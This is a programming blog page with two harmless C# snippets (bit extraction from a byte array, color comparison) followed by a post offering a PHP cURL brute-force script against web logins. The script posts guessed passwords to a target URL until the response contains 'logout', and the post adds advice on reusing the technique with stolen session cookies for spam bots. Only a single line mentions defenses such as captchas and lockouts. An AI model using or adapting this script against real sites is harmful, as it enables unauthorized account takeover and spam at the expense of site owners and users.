Saturday, October 30, 2010

Extracting individual bits from a byte array in C Sharp

Byte Array to bit conversion operation is often required operation when you are operating at bit level. The following program shows how to convert a string to its ASCII equivalent and read it bit by bit.


...
string txt = "C Sharp is cool"; //let txt be any text
byte[] txt_byt = Encoding.ASCII.GetBytes(txt); //txt_byt contains an array of byte equivalent(ASCII) of each character of the string
BitArray b_ar = new BitArray(txt_byt); //Now b_ar is a Bit Array that contains all the bits extracted from the byte array txt_byt. And note that bits are stored as boolean values, so the comparison will be
for (int i = 0; i < b_ar.Length; i++)
{
if (b_ar[i] == false)
{
Console.Write("0");
}
else
{
Console.Write("1");
}
}
...

Comparing Colors in C Sharp

Sometimes there could be problems in comparing two colors in C Sharp because we cant direct compare two colors using (==) operator. One handy solution is that write a function that compares each component of the color as:


public bool comp(Color A, Color B)
{
if (A.A.Equals(B.A) && A.R.Equals(B.R) && A.G.Equals(B.G) && A.B.Equals(B.B))
{
return true;
}
else
{
return false;
}
}


And now you can check two colors like

if(comp(Color.Black,Color.White)==true)
{
...
}

Saturday, October 2, 2010

Simple BruteForce Bot in PHP

THIS TUTORIAL IS JUST FOR EDUCATIONAL PURPOSES

Guys, I wanna show a simple bruteforce script in PHP using CURL. This script can be used for hacking any passwords with weaker security (i.e.) If that website isnt having captcha or it doesnt limit number of login attempts.

Assumptions:
1. After logging in, the user might see some text like "logout"

-----------------------------------------------------------------------

<?php
set_time_limit(0);
$url="URL_To_ATTACK";
/*
Write your own block to generate all possible strings that you wish to try using for loops and then generate $pass variable which you want to try
*/
echo "Trying {$pass}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=XXX&password={$pass}");
$output = curl_exec($ch);
curl_close($ch);
if(strstr($output,"logout"))
{
echo "Account hacked!!";
break;
}
}
?>
-----------------------------------------------------------------------

This technique can also be used for creating auto spamming bots, in forms, forums etc., If login is required for spamming, use the following line:

curl_setopt($ch, CURLOPT_COOKIEFILE, '/cookie.txt');

Where cookie.txt contains the success login account's cookie for that website!!


To evade these types of attacks, you can use a captcha or you can block the user if he tries wrong password for X times.